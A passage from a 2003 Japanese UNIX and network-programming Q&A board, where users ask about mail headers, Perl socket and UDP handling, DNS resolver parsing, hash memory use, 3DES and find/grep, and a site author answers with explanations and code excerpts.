ぼくは、要所要所でだけ、受け取ったレスポンスを表示させればいいのかと思ってたんですけど、どうやらそれがいけなかったようですね。
それによっていろいろと狂ってきたようです。
レスポンスをすべて表示させたりしたら直りました。
ではでは、ありがとうございましたm(_ _)m

No. 3312 # さんぺい 2003/08/19 (火) 15:57:03
初めて投稿させていただきます。
UNIXはまだ初心者です。
教えていただきたいことなんですが、今Cシェルを作成しています。
その中で処理終了後にメールを送ろうとしているのですがFrom句(差出人)
を任意で変更したいと考えているのですが可能なのでしょうか。
いろいろ調べてみましたがFrom句を変えるようなものはありませんでした。
ご存知のかたがいらっしゃったら教えていただけないでしょうか。
Subjectだけ指定したソースを記載しておきます。
お願いします。
サーバ(username)[1]:/usr/ucb/mail -s "test" test@test.co.jp < test.txt

No. 3313 # 68user 2003/08/19 (火) 18:15:36
>>3312 さんぺい
> /usr/ucb/mail -s "test" test@test.co.jp < test.txt
test.txt に
      From: hoge
      Subject: test
      To: test@test.co.jp

      本文
などとヘッダ類を全部書いて、
      % /usr/ucb/mail -t < test.txt
でいけると思います。

ただ、エラーが発生したときに戻ってくるメールアドレス
(envelope-from) はこれでは書き換わりませんのでご注意を。
もしそれも変更したいなら sendmail を直接呼ぶしかないと
思います。

No. 3314 # mikan [E-mail] 2003/08/21 (木) 10:02:49
初めて投稿させていただきます。
UNIXは学生の時に整った環境で触っていた程度です。

今、職場の方でUNIXにユーザ追加をし、メールユーザを増やそうとしています。
方法としては、
「vipwコマンド」を使用してユーザを追加しました。
ユーザ自体は追加できたのですが、いざメールを使用してみると、パスワード認証エラーがでてはじかれます。
パスワードがおかしいのかと思い、「passwdコマンド」でパスワードを変更してみたのですが結果は同じでした。

他になにか、設定がいるのでしょうか?
ちなみに、「fingerコマンド」を使用して追加したユーザ情報を表示したところ、ユーザは存在すると認識されているようです。
お手数ですが、素人な私にどうかご教示下さい。

No. 3315 # tomtom 2003/08/22 (金) 14:30:33
はじめまして、tomtom といいます。
ソケット通信に興味があり、勉強に励んではや3ヶ月の初心者です。

最近、自分で簡単なクライアントサーバのソケット通信プログラムを
作成してみたのですが、recv関数で受信エラーが発生してしまいます。
メッセージの送信元で、send関数により送信された内容と、
実際にrecv関数で受信した内容を確認してみたところ、きちんと
同じものが受信できているようでした。

そこで、エラー番号から何がおきているのか解析しようとしたのですが、
やり方が間違っているのかエラー番号を何も出力してくれません。

もし、何かお気づきのことがあるようでしたら、
ご指導いただけないでしょうか?

問題の箇所:

if(recv($sock_id, $msg, $MAX_BUFF, 0) eq undef){
                    print "$msg";
    print "errno = $!";
}

No. 3316 # tomotomo 2003/08/22 (金) 16:08:39
度々すみません。
先ほど投稿させていただいたtomtomです。
処理系を書き忘れたので,再度書き込みをさせていただきました。
動かしている処理系は、linuxです。
余談ですが、linux-perlとactive-perlとで、recvやsendなどの
システムコールの処理結果は、異なるのでしょうか?
(NG時undefを返さず、別のものを返す、、など)

クライアントをlinux-perlで、サーバをactive-perl(WinXP)で
起動しおり、サーバの方は、同様のrecv記述で上手く受信できているの
で、なにか関係あるのかな、と素人ながら少し気になりました。

以上、度々失礼しました。

No. 3317 # 68user 2003/08/22 (金) 16:21:46
>>3315 tomtom
> if(recv($sock_id, $msg, $MAX_BUFF, 0) eq undef){
undef かどうかのチェックは、正しくは
    if ( ! defined recv($sock_id, $msg, $MAX_BUFF, 0) ){
です。recv は相手側のアドレス (IP アドレス+ポート番号) を
返すので、それが undef と一致する、と解釈されているのかも
しれません。

# でも、この書き方では undef を返さない限り eq undef と
# ならないような気がするなぁ。

>>3314 mikan
> いざメールを使用してみると、パスワード認証エラーがでて
> はじかれます。
メールを使用というのは、POP を使ってメールを取得してみた
ということですか? もしそうなら、telnet で POP サーバに
アクセスし、本当に認証エラーになっているのか調べてください。
      http://x68000.startshop.co.jp/~68user/net/pop3-1.html

あと、ユーザ追加だけで OK か、というのは職場のメールサーバの
設定次第なので何とも言えません。

No. 3318 # tomtom 2003/08/23 (土) 09:37:45
tomtomです。
68userさん、アドバイスをありがとうございます。
自分が素人であることを実感いたしました。
undefを判別するのには、define関数をもちいるのですね。
アドバイスに感謝いたします。
早速、試してみますね。

ではでは

No. 3319 # スナフキン 2003/08/29 (金) 05:22:17
perlでテキスト処理をしていますが、有るリストをキーとしたハッシュ
を生成したんですが、そのキーとなるファイルのサイズが110Mb程、キー数
(レコード数)は約1000万弱のレコードが有ります。

そのハッシュのキーを使い別のCSVのフィールドの中に同じキーが存在
する場合に必要な処理を行なっています。
if(exists $KEY{$csv_key_field}){ 処理 }

で、実際に動かすと500Mbのメモリを使い切り(何故?)、1Gbのスワップ
さえも使いきり止まってしまいます。

根本的にこのアルゴリズム自体が悪いのか、それとも何かメモリ使用量を
抑える解決方法があるのか教えてください。

ちなみに、キーとなるデータを配列に格納して grep で検索するとさらに
べらぼうに時間が掛かります。

具体的には2つのリストの合成処理なんですが、このくらいの規模になると
DBに置き換えて処理した方が良いのでしょうか?
(最終的には何らかのDBに格納されるそうです)

もちろん、変数は可能な限り局所化しています。(つもりです(^^;)

もっと言えば、上記は最大サイズのリストではありますが、キーリストは
複数あり、それらを順繰りに処理しています。

どうぞお助けくださいm(_ _)m

No. 3320 # 68user 2003/08/29 (金) 22:28:24
>>3319 スナフキン
> そのキーとなるファイルのサイズが110Mb程、キー数(レコード数)は
> 約1000万弱のレコードが有ります。
全体のデータ容量がわからないですが、仮に 300MB 程度だとしても、
1.5GB 喰い尽くしてもおかしくないかなぁとは思います。

perl の内部構造は知りませんが、スカラー 1つ、配列の一要素、
ハッシュ 1キーなど、それぞれに必ず何バイトかずつ管理用データを
perl が保持しているからです。

実感としては、100MB 程度でもデータの持ち方次第ではまともに
動かないこともあるんじゃないかと思います。

> このくらいの規模になるとDBに置き換えて処理した方が良いので
> しょうか?
perl でもがんばれば何とかなるかもしれませんが (実データはファイルに
保存し、ハッシュにアクセスされるたびに tie でそのファイルを見にいくとか)、
    1. データが固定長 (もしくは最大長が決まっている)
    2. CSV の項目名や項目長が変わる可能性は少ない
    3. 処理内容が変わる可能性が少しでもある
          (この条件に引っかかるレコードは除外する、とか)
であれば、DB に突っ込んだ方がよろしいのではないでしょうか。
わたしならそうします。

項目名や項目長も変わるかもしれないなら、DBD::CSV モジュールとか
(使ったことないですけど)。

No. 3321 # スナフキン 2003/08/29 (金) 23:36:11
助言ありがとうございます。

>仮に 300MB 程度だとしても、1.5GB 喰い尽くしてもおかしくないかなぁとは思います。
うーんやはりそうですか。

データの持ち方の影響も大きいとは思いますが、ハッシュは内部で
キーのインデックスを作っているために、キー全体のデータよりも
相当数のメモリを食うのかな?となんとなく考えていましたが、
まさかこれほどとは思いませんでした。

> 1. データが固定長 (もしくは最大長が決まっている)
> 2. CSV の項目名や項目長が変わる可能性は少ない
> 3. 処理内容が変わる可能性が少しでもある
> (この条件に引っかかるレコードは除外する、とか)
>であれば、DB に突っ込んだ方がよろしいのではないでしょうか。
2と3は該当するので、DBに変換して処理する方向でやってみます。

ただ、元の入力ソースの総合計が2.6Gbも有るので、DB化する事に
かかる時間やファイル占有量がわからなくてその選択肢を選びま
せんでした。

全て書き直しになりそうだ・・・汗

No. 3322 # 岩崎 [E-mail] 2003/09/01 (月) 13:06:04
突然のメールですみません。
岩崎と申します。

実は、WebでMewの操作について探していたところ、貴殿を拝見し、
もしかしたら、下記の対応方法をご存じなのではないかと思い、
メールをお送りさせていただいております。

お忙しいとは思われますが、もし、ご存じでしたならば対処方法を
教えてください。

----
質問
----
現在、MewにてMailチェックをしております。
emacs上でM-x Mewとタイプするとパスワードが聞かれると同時に
過去のMail(以前受信したMail)も表示されます。

しかし、昨晩より、M-x Mewと打ち込んでも新規に受信したmail
しか閲覧できません。おかしいとおもい、Mail/inbox配下を
見たところ、確かに1〜3500件までは入っております。

再度、「i」コマンドで新しいMailを受信すると、受信したMailは
3501件目と表示されますが、3500件目より以前のmailは見えません。
「Shift-O」で順番を整理すると、整理はできるようです。

Mewにて何故か?見えなくなった過去のMailを見えるようにするには
どのようにすればよろしいのでしょうか?

ご存じであれば、教えてください。
よろしくお願いいたします。

また、できれば、CCでiwanov@relief.ne.jpまで情報を転送
いただければ幸甚です。、

No. 3323 # pyontan [E-mail] 2003/09/02 (火) 08:07:32
ご存知の方がいらっしゃれば、教えてください。
UNIXサーバで、あるファイルがなくなりました。
いつ、どのように消えてしまったかを知る術はあるのでしょうか?
領域不足で、優先度が低く削除されたとか、
誰かがrmコマンドを実行したとか…。
教えてください。

No. 3324 # 68user 2003/09/05 (金) 01:04:28
>>3322 岩崎
Mew のことは http://www.mew.org で質問した方が早く解決すると思います。


>>3323 pyontan
> いつ、どのように消えてしまったかを知る術はあるのでしょうか?
残念ながら、よっぽど特別な仕掛けでも仕込んでおかない限り
無理だと思います。

> 領域不足で、優先度が低く削除されたとか、
さすがにこれはないでしょう。ちなみに UNIX では、ファイルに
優先度という概念はないです。

> 誰かがrmコマンドを実行したとか…。
というようなログも、一般的な UNIX では用意されていないです。

No. 3325 # ken 2003/09/07 (日) 21:51:47
こんばんは。
現在、DNSクライアントを勉強中です。
サンプルをまだ解析中なんですけど、どうしてもわからない箇所がいくつかあるので…質問させていただきます。

まず、フラグについてです。
えっと…少し説明しにくいんですけど、何故、16ビットと書いてあるのに第15ビットまでの説明までしかないのでしょうか?

次に、ネットワークバイトオーダについてです。
サンプル中で、質問数、回答数、権威数などはpackするときにネットワークバイトオーダに変換しているのに、IDとフラグを変換しないのは何故でしょうか?
どういう物をネットワークバイトオーダに変換しなければいけないのかよくわからなくて…。

最後に、サンプル中に出てくる$restについてです。
データを受信した時、細かく言うと$restにはどういった順番でデータが入っているのでしょうか?
それがよくわからなく、get_domainサブルーチンに渡したときの処理の仕方がよくわかりません…(−−;

以上長々と申し訳ありませんが、どうかよろしくお願いしますm(_ _)m

No. 3326 # 68user 2003/09/08 (月) 13:02:19
>>3325 ken
> 何故、16ビットと書いてあるのに第15ビットまでの説明までしか
> ないのでしょうか?
http://x68000.startshop.co.jp/~68user/net/resolver-2.html#flag
のところですね。わたくしの誤りです。RCODE が 3ビットとなって
いますが、正しくは4ビットです。近いうちに直します。

# 表の部分で「1……15bit」とあるところも、「1……16bit」の
# 誤りですね。

> 質問数、回答数、権威数などはpackするときにネットワークバイト
> オーダに変換しているのに、IDとフラグを変換しないのは何故でしょうか?
http://x68000.startshop.co.jp/~68user/net/resolver-3.html#4
の以下の部分ですね (一部略)。

        sub make_query {
                my ($type, $class) = @_;

                # 識別子設定
                my $id = pack('B16', '0000000000000000');

                  # フラグを構成する各要素を設定
                  my $qr = QR::Query; # 0:質問
                  my $opcode = OPCODE::StandardQuery; # 0:標準照会
                  my $aa = 0; # Authoritative Answer (応答時にセット)

                  # フラグ (0 と 1 の文字列)
                  my $flg_binary = sprintf("%d%04d%d%d%d%d%03d%d", $qr, $opcode, $aa, (略));

                  # フラグ (2バイトのバイナリ)
                  my $flg = pack("B16", $flg_binary);

                  # 質問数のみ 1。回答数、権威数、追加情報数はいずれも 0。
                  my $question_count = pack('n', 1);
                  my $response_count = pack('n', 0);

                  # foo.example.com というホスト名を 3foo7example3com という形に変換。
                  my $query_name = &make_domain($query_host);

                  # リクエストは「識別子+フラグ+質問数+回答数+権威数+追加情報数+質問」からなる。
                  my $request = $id.$flg.$question_count.$response_count.$auth_count.$ext_count.$question;

                  return $request;
          }

ID やフラグは pack('B16') でバイナリデータに変換していますが、
その際に順番が入れ替わることはありません。
          pack('B16', '1111000000000011')
は順序を保持したまま
          1111000000000011
となります。
          0000001111110000
となることはありません。

ただし数値の場合は、Short 値を作ろうとして素直に
            my $question_count = pack('s', 1);
などとしてしまうと、リトルエンディアンな Intel 系では 0x01 0x00、
ビッグエンディアンな Motorola・Sparc 系では 0x00 0x01 となって
しまいます。よってこの場合は
            my $question_count = pack('n', 1);
と n を使って、どの環境でも 0x00 0x01 となるようにするわけです。


> データを受信した時、細かく言うと$restにはどういった順番でデータが
> 入っているのでしょうか?
以下、http://x68000.startshop.co.jp/~68user/net/sample/resolver-1.pl
sub parse_response 関数の説明をします。

        my ($id, $flg, $question_count, $response_count, $auth_count, $ext_count, $rest)
            = unpack('nnnnnna*', $org_dgram);

の時点では、$rest には「(7)質問レコード以降のデータ」(回答レコード・権威
レコード・追加情報レコードも含む) が入っています。

データの順序は
      http://x68000.startshop.co.jp/~68user/net/resolver-2.html#4
の「解析した応答の構成」の順のとおりです。


$rest の先頭のデータは「(7)質問レコード」ですが、「(7)質問レコード」は
      (7.1)照会名 (可変長)
      (7.2)照会タイプ
      (7.3)照会クラス
から成り立っていますので、$rest の先頭データは「(7.1)照会名」であるとも
言えます。

その後、

        foreach my $count ($question_count){
                my $domain;
                # この時点で $rest の先頭データは「(7.1)照会名」
                ($domain, $rest) = get_domain($rest, $org_dgram);
                # この時点で $rest の先頭データは「(7.2)照会タイプ」
                my ($type, $class) = unpack('nn', $rest);
                # ↑「(7.2)照会タイプ」と「(7.3)照会クラス」を取り出す。
                substr($rest, 0, 4) = '';
                # ↑取り出した「(7.2)照会タイプ」と「(7.3)照会クラス」を削る。

                printf "質問: ドメイン名: %s\n", $domain;
                printf "質問: タイプ: %d (%s)\n", $type, TYPE::getName($type);
                printf "質問: クラス: %d (%s)\n", $class, CLASS::getName($class);
                print $hr_line;
        }

といったふうに、$rest の先頭部分から順に、データを取り出す⇒削る
という処理を繰り返します。

質問部分を読み終わると、$rest にはリソースレコード (回答・権威・追加情報) が
残っています。リソースレコードは
      ドメイン名 (可変長)
      タイプ
      クラス
      生存時間 (TTL)
      リソースデータ長
      リソースデータ (可変長)
から成っていますので、

        foreach (1 .. $count){
                my $domain;

                ($domain, $rest) = get_domain($rest, $org_dgram);
                # ↑ここでドメインを切り出す。
                my ($type, $class, $ttl, $rdata_length) = unpack('nnNn', $rest);
                # ↑タイプ・クラス・生存時間・リソースデータ長を取り出す。
                substr($rest, 0, 10) = '';
                # ↑タイプ・クラス・生存時間・リソースデータ長の分を削る。

                my ($rdata) = substr($rest, 0, $rdata_length);
                substr($rest, 0, $rdata_length) = '';
                # ↑リソースデータ取得
        }

と、ここでもやはり「データを先頭から取り出し、削る」の繰り返している
わけです。

No. 3327 # ken 2003/09/09 (火) 13:30:18
なるほど…だいたいよくわかりました、ありがとうございます。
でもまだget_domainサブルーチン中の処理がよくわかりませんねぇ…。
while文の最初のif文の中です。

493: if ( ( $len & 0xc0 ) == 0xc0 ){
    494: # 上位 2ビットが立っていたら、もう 1バイト読みこむ (合計 16ビット)。
    495: # そして上位 2ビットを落とし、残り 14ビットを DNS サーバから
    496: # 返された UDP データグラム先頭からのオフセットとして再帰。。
    497:
    498: my $offset = unpack('n', $data) ^ 0xc000;
    499: my $new_data = substr($org_data, $offset);
    500: substr($data, 0, 2) = '';
    501:
    502: my ($domain_part) = get_domain($new_data, $org_data);
    503: push(@domains, $domain_part);
    504: last;
    505:
    506: } else {
    507: # 上位 2ビットが立っていないので、カウンタとして扱う。
    508: substr($data, 0, 1) = '';
    509: }

まず、if文の中で$dataの上位2ビットが立っていたときに、その2ビットを除いた上位14ビットを$offsetに入れて、$org_dataの$offset番目からのデータを$new_dataに入れて、$dataの上位2ビットを落としたところまではわかりました。
そのあと再びget_domainサブルーチンを呼び出すところからが…どうなるのでしょうか??(^^;

また、else文の中の1行はどういった意味を持っているのでしょうか?
ここでいう「カウンタ」という物もよくわからなくて…。

どうか、よろしくお願いします

No. 3328 # 68user 2003/09/09 (火) 21:36:40
>>3327 ken
> そのあと再びget_domainサブルーチンを呼び出すところからが…
> どうなるのでしょうか??(^^;
http://x68000.startshop.co.jp/~68user/net/resolver-2.html#6 の例だと、
最初に get_domain が受け取った $data が
      (0x04)www2(0xC0)(0x13)....
で、一回目の while ループが終了した時点で
        $data = "(0xC0)(0x13)...."
        @domains=('www2');★1
となっています。

二回目の while ループでは
      my $len = unpack('C', $data);
で $len は 0xC0 になり、
      if ( ( $len & 0xc0 ) == 0xc0 ){
が真なので
      my $offset = unpack('n', $data) ^ 0xc000;
          ⇒ $offset は 0x13
      my $new_data = substr($org_data, $offset);
          ⇒ $new_data は、UDP データグラム全体 ($org_data) の 0x13バイト目
      substr($data, 0, 2) = '';
          ⇒ $data は "(0xC0)(0x13)...." から "...." となる (先頭 2バイトを削る)
となります。$new_data には
      (0x09)startshop(0x02)co(0x02)jp(0x00)
が入っています。

ここで
     my ($domain_part) = get_domain($new_data, $org_data);★2
        push(@domains, $domain_part);★3
と get_domain を再帰呼び出しすると、
      sub get_domain {
            my ($data, $org_data) = @_;
の $data には
      (0x09)startshop(0x02)co(0x02)jp(0x00)....
が入っています。再帰呼び出しされた get_domain が処理を終えるときには
        @domains = ('startshop', 'co', 'jp');
となっており、最終的に
        return 'startshop.co.jp';
とドメインの一部を返します。

で、再帰呼び出しした側の get_domain に処理が戻ると、以下のような
流れになります。
    ★1 の @domains にはすでに www2 が入っている
    ★2 の $domain_part には、再帰呼び出しした get_domain から受け取った startshop.co.jp が入っている
    ★3 で @domains = ('www2', 'startshop.co.jp') となる


> また、else文の中の1行はどういった意味を持っているのでしょうか?
> ここでいう「カウンタ」という物もよくわからなくて…。
      (0x03)www(0x02)jp(0x07)FreeBSD(0x03)org(0x00)
の 3・2・7・3・0 がここでいうカウンタです。$len には
その後に続くバイト長が入っており、
      508: substr($data, 0, 1) = '';
はその $len の部分を削っています。

# 説明文で使用していない用語 (カウンタ) を、ソースで使ってはいけませんね。

No. 3329 # tomtom 2003/09/10 (水) 10:17:13
先日質問させていただいた、tomtomです。
クライアントが受信待ちの状態の時に、サーバに
ソケットをクローズされたら、クライアントは、
どうなるのでしょうか?

以前質問させていただいた時に、undefを受信してしまう
という問題があったのですが、サーバ側で勝手にセッションを
終了してしまっていた可能性があるので、その辺が関係している
かどうか疑問に思ったため、再度質問させていただきました。

No. 3330 # ken 2003/09/10 (水) 23:11:50
あ〜っ、なるほど!
わかりました!完璧にわかって疑問が紐解けましたよ〜!
get_domainの再起呼び出し後はそういう処理だったんですね…。
カウンタの意味もわかりましたし(^^;)、もうばっちりです!
長々と本当にありがとうございましたm(_ _)m
もしまた何かありましたら…よろしくお願いいたします(^^;

No. 3331 # lopper [E-mail] 2003/09/12 (金) 18:51:13
こんにちは、今Perl で UDP 通信を行うスクリプトを作っているの
ですが、少し分からないところがあるので質問させてください。

普通に UDP 通信は問題なく行えているのですが、送信元の IP アドレスが
拾えなくて悩んでおります。
recv 関数の戻り値で「送信元のアドレス」は拾えるのですが、送信元が
「どこへ宛てて送信したか?」が分からないのです。
IO::Socket::INET モジュールを使用していますが、peeraddr メソッドを
使っても何も返ってきません。

http://x68000.startshop.co.jp/~68user/net/udp-3.html に UDP で
connect 出来ると書かれていますが、connect すれば送信先アドレスを
拾う事ができますでしょうか?

ご存じの方、よろしくお願いいたします。

No. 3332 # 68user 2003/09/13 (土) 01:35:39
>>3329 tomtom
> クライアントが受信待ちの状態の時に、サーバにソケットを
> クローズされたら、クライアントは、どうなるのでしょうか?
単に相手がソケットをクローズしただけなら、recv は 0 を
返します。

もし
      A が listen → B が connect → A がソケットクローズ
      → B が send → B が recv
なら、B は SIGPIPE を受けます。


>>3331 lopper
> recv 関数の戻り値で「送信元のアドレス」は拾える
> のですが、送信元が「どこへ宛てて送信したか?」が
> 分からないのです。
ソケットが送信先を記憶していないからです。同じ相手に
連続して UDP データグラムを送信する場合、
    socket(SOCKET, PF_INET, SOCK_DGRAM, 0);
    send(SOCKET, "hoge1", 0, $sock_addr);
    send(SOCKET, "hoge2", 0, $sock_addr);
と、毎回 send の引数に宛先である $sock_addr を指定
しなければいけません。なぜなら、一度目の send を
実行した後、SOCKET は $sock_addr に送信したことを
覚えていないからです。

# ソケットの先のアドレスが確定していないので、相手側で
# エラーがあって ICMP メッセージが返ってきても、カーネルは
# どのソケットにエラーを伝えればよいかわからない。だから
# 非 connect な UDP では相手側のエラーを拾えないわけです。

> connect すれば送信先アドレスを拾う事ができますでしょうか?
できます。
    socket(SOCKET, PF_INET, SOCK_DGRAM, 0);
    connect(SOCKET, $sock_addr);
この処理で SOCKET は「宛先が $sock_addr であること」を
覚えます。よって、この後 send する場合は
    send(SOCKET, "hoge1", 0);
と宛先を省略できるのです。

C で言うと、connect(2) することで、sendto(2) ではなく
send(2) が使えるということです。

No. 3333 # lopper [E-mail] 2003/09/13 (土) 22:21:38
68user さん、お返事ありがとうございます。
socket => connect を行う事で send を呼ぶ時に IP アドレスを
指定しなくても良くなるわけですね。

逆に recv などで受信する時はどうなのでしょうか。
例えば 192.168.0.255 宛のブロードキャストメッセージを受信しても
受信側からはブロードキャストメッセージを受信したのか、ユニキャストを
受信したのか分かりません。
Java などで UDP を使う時は相手が送信した IP アドレスと相手の IP
アドレス両方が分かるようですが、Perl では難しいのでしょうか?

No. 3334 # 68user 2003/09/13 (土) 22:25:12
ちょっと前にこのページが移転するかもと言っていましたが、
継続して使わせていただけることになりました。

68user's page は
      Startshop さん http://www.startshop.co.jp/
      両毛インターネットさん http://www.takauji.or.jp/
      Netboy さん
のご厚意により、回線・マシンを無料で使用させていただいて
おります。ここに改めて感謝の意を表したいと思います。

No. 3335 # 68user 2003/09/13 (土) 23:01:58
>>3333 lopper
> 例えば 192.168.0.255 宛のブロードキャストメッセージを受信しても
> 受信側からはブロードキャストメッセージを受信したのか、ユニキャストを
> 受信したのか分かりません。
一般的な BSD ソケットの API を使う以上は判断できないと思っています。

> Java などで UDP を使う時は相手が送信した IP アドレスと相手の IP
> アドレス両方が分かるようですが、Perl では難しいのでしょうか?
Java なら受け取ったデータグラムがブロードキャスト宛かどうかを
判断できるのでしょうか。

もしそうなら、Java が BSD ソケット API を使用せずネットワーク
機能を自前で作っているとは考えづらいので、BSD ソケット API で
実現可能なのだろうと思います。

DatagramSocket や DatagramPacket を見る限りでは、Java であっても
無理ではないかと思いましたが、もし可能なのであれば Java で記述
したサンプルプログラムを見せていただけますでしょうか。

No. 3336 # へにか 2003/09/13 (土) 23:07:33
おお、それはすばらしいですね。
もし私が両毛地方とか県南・県央(一部重複してますが)に住むことに
なったら、率先して両毛インターネットさんを選びたいという気持ち
でいっぱいです。

No. 3337 # lopper [E-mail] 2003/09/14 (日) 00:31:47
お返事ありがとうございます。
確実に Java で宛て先アドレスを取得できるという確認はしていない
のですが、以下の IP Messenger for Java の中では行っている
ようです。

http://www1.ttv.ne.jp/~digitune/Java/IPMsg/
からソースコードをダウンロードして、その中にある IPMProxyEvent.java
ファイルの中にある、getToIPMAddress で見ている見たいです。

P.S.
私は Java には詳しくはないので、確実かどうかわかりません。

No. 3338 # 68user 2003/09/14 (日) 01:12:32
>>3336 へにか
> 率先して両毛インターネットさんを選びたいという気持ちでいっぱいです。
本当に一銭たりともお金を払っていないので申し訳ないことです。
機会があればぜひとも。

>>3337 lopper
> IPMProxyEvent.java ファイルの中にある、getToIPMAddress で
> 見ている見たいです。
ぱっと見、Java 版 IP Messenger 独自機能である proxy 機能の
ソースのように見えます。README には「proxy 機能は TCP で実装
されている」とありましたので、多分違うのではないかと思います。

ちなみに 本家 IP Messenger は、受けたメッセージがブロード
キャストだと、ログに「(多)」などと表示されます。

しかしこれは UDP のレイヤで判別しているのではなくて、IP
Messenger のアプリで使用するコマンドの IPMSG_BROADCASTOPT が
立っているかどうかで判断しています。

No. 3339 # lopper [E-mail] 2003/09/14 (日) 03:13:58
lopper です。
お返事ありがとうございます。
ブロードキャストの件了解しました。なるほど Java版 ではプロキシに TCP を
使用しているので IP アドレスが拾えるのですね。わかりました。

色々とありがとうございました。自分なりに他の道を探してみます。

No. 3340 # tomtom 2003/09/15 (月) 09:10:42
tomtomです。
68userさん、お返事ありがとうございます。
そうですか、、もし、undefを返すなら以前の
説明がつくと思ったのですが、どうやら見当違い
のようですね。
また、色々考えてみる事にします。
原因が分かったら、また書き込みさせていただきます。

No. 3341 # のぐけん。 2003/09/15 (月) 12:15:50
こんにちわ。以前質問させてもらった者です。

それで、また質問なのですが(笑
Perlカテゴリの中のProxy Serverのことで質問です。
SIGPIPEシグナルが飛んで来た時用
ということで、$SIG{PIPE}を作られていますが、
これはどこで使用されているのでしょうか?
作っとけば勝手にってことなのでしょうか?

お忙しいかと思いますが、よろしくお願いします。

No. 3342 # 68user 2003/09/16 (火) 02:54:15
>>3341 のぐけん。
> $SIG{PIPE}を作られていますが、これはどこで使用
> されているのでしょうか? 作っとけば勝手にって
> ことなのでしょうか?
勝手に使用されます。

シグナルを最初に受けるのはカーネルです。カーネルは
プロセスごとに「SIGINT がきたらどーする、SIGPIPE が
きたらこーする」というテーブルを参照し、適切な動作を
行います。

つまり %SIG の書き換えというのは、自分のプロセスの
シグナル処理用テーブルを更新なわけで。

No. 3343 # 68user 2003/09/16 (火) 02:55:24
ところで、
    http://x68000.startshop.co.jp/~68user/net/link-book.html#8
の「UNIX ネットワークベストプログラミング入門」ですが、
    UNIX ネットワークプログラミング入門
        http://www.gihyo.co.jp/books/syoseki.php/4-7741-1754-4
として新版が出版されてるのを見付けました。

買ってませんが、立ち読みした限りでは htons は使われて
いました (笑)。大幅な内容追加というわけではないようなので、
「ベスト」の方を持っている人は不要かなーという感じです。

クライアントとサーバ両方を自作してみるというのは重要な
ことだと思いますので、改めてお勧めしておきます。

No. 3344 # Tsun 2003/09/17 (水) 16:50:41
始めまして、Tsunと申します。

何時も勉強させて頂いております。
共通鍵暗号のページで3DESでの鍵長が56*3にならない訳ですが、3DESは
DESプロセスを3回繰り返すと言う意味で、使う鍵は実は2個なのです。
具体的に言うと、56ビットの鍵AとBを用意して、以下の様に暗号化します。

元データ→鍵Aで暗号化→鍵Bで復号化→鍵Aで暗号化→暗号データ
                        (1)    (2)   (3)

(2)で(1)で暗号化したものとは別の鍵で復号化する訳ですから、当然正しく復号されません、しかし見方を変えれば、これは別の鍵で暗号化したものと、同値となります。ただ鍵としては56ビットを2つ使っているだけなので、鍵の強度としては112ビットの鍵長と同等となります。

この方式の利点は、実質的には56ビットの演算量+αで112ビット相当の鍵強度が得られる所にあります。
鍵長と演算量の比は対数的ですから、112ビットの鍵を使って1回演算するより、56ビットの鍵を使って、3回演算するほうが有利となります。

No. 3345 # asachio [E-mail] 2003/09/24 (水) 00:17:10
お世話になります。UNIXを学びはじめて1か月半の初心者です。grep, findの使用方法を完全理解していないためだと思いますが、(すみません。)ある文字列を含む、ファイル名を検索するにはどのように、grepあるいは、findを使用すればよろしいでしょうか?

No. 3346 # 4lj [E-mail] 2003/09/24 (水) 19:02:31
はじめまして。私は普段、

find ./ -type f | xargs grep -n "foo"

とかやってますが。後はお好みでgrepに-iつけてみたり。

No. 3347 # pranky [E-mail] 2003/09/25 (木) 01:06:50
こんばんは初めまして。pranky と申します。
ここで、いつもネットワークプログラミングなどを勉強させて頂いております。

今回 TCP で実装してあった双方向のプロトコルをファイアウォールにも
対応させなくてはならなくなり、困っているのでご相談させて下さい。
今のところ考えているのは、現在の TCP のプロトコルを HTTP の上に乗せて
HTTP プロキシに対応する事でファイアウォールを越えようと考えています。

開発言語は Perl を使用しておりますので、テスト的に HTTP:Daemon モジュールを
使用してサーバを構築し、LWP::UserAgent でクライアントとして動作を
させてみました。

1. 基本的に既存のプロトコルが Peer to Peer なので、起動時にクライアント側から
サーバ側へ HTTP 接続をし、その起動中はつないだままにしておきたい。

2. 接続中はクライアント側からもサーバ側からも数KB 位のデータのやりとりを
双方向で行いたい。

この上記2 点は両立するものでしょうか?
上の 1. は keepalive を行えばできそうな感じはしますが、下の 2. はできる
のでしょうか。

通常のブラウザを見ていると
1. サーバ側へファイル要求
2. サーバ側がファイル送信
という事の繰り返しですが、MSN Messenger が HTTP を使用している事を
考えると上記の 1. 2. の両立が出来そうな気がします。

No. 3348 # YK 2003/09/25 (木) 10:25:24
はじめまして。
いつもUNIXの情報を参考にさせて頂いております

現在、あるファイルに書かれたファイル名を取得し
そのファイル名が存在するか判定するCシェルを作成しております

set FILE_NAME = `awk '{printf $1}' fileA`

というコマンドでファイル名は取得できたのですが、
ファイル内で改行されている際に改行コードまで取得してしまい
ファイルの存在判定が正しく行えません

改行を除外してファイル名を取得する事は出来ないでしょうか?

ご存知でしたら御教授して頂きたく思います
宜しくお願い致します

赤色の文字は 「Windows 機種依存文字」か、いわゆる「半角カナ」です。 この掲示板では自動変換されますが、今後は使用しないで下さい

No. 3349 # 68user 2003/09/25 (木) 15:40:16
>>3344 Tsun
勉強になります。ありがとうございます。

もうちょっと勉強して自分のモノにしてから web の方も
修正したいと思います。

>>3345 asachio
> ある文字列を含む、ファイル名を検索するには
「ある文字列を含むファイル」の名前の一覧がほしいなら
>>3346 4lj
で紹介していただいた方法で。

じゃなくて「ファイル名にある文字列を含むファイル」の名前の
一覧が欲しいのなら
      % find /dir -name \*hoge\* -print
などなど。

>>3347 pranky
> 1. 基本的に既存のプロトコルが Peer to Peer なので、起動時に
> クライアント側からサーバ側へ HTTP 接続をし、その起動中は
> つないだままにしておきたい。
> 2. 接続中はクライアント側からもサーバ側からも数KB 位のデータの
> やりとりを双方向で行いたい。
1 は keep alive を使ったとしても、proxy のタイムアウトが
ある or あるかもしれないので無理ではないかと思います。

2 も HTTP ではサーバプッシュができないので、純粋な意味での
双方向通信は無理ではないでしょうか (サーバから不定期に
クライアントにデータを送るのは不可能だが、クライアントが
定期的にサーバに接続し、そのレスポンスにサーバからのデータを
載せるなら可能)。

> MSN Messenger が HTTP を使用している事を考えると上記の
> 1. 2. の両立が出来そうな気がします。
MSN Messenger は UPnP を使用しており、UPnP が HTTP の上を
流れているだけです。よって、純粋な HTTP では実現不可能では
ないかと思います。

どこまで実現可能かは、プロトコルの詳細がわからないとなんとも
言えないです。

>>3348 YK
> set FILE_NAME = `awk '{printf $1}' fileA`
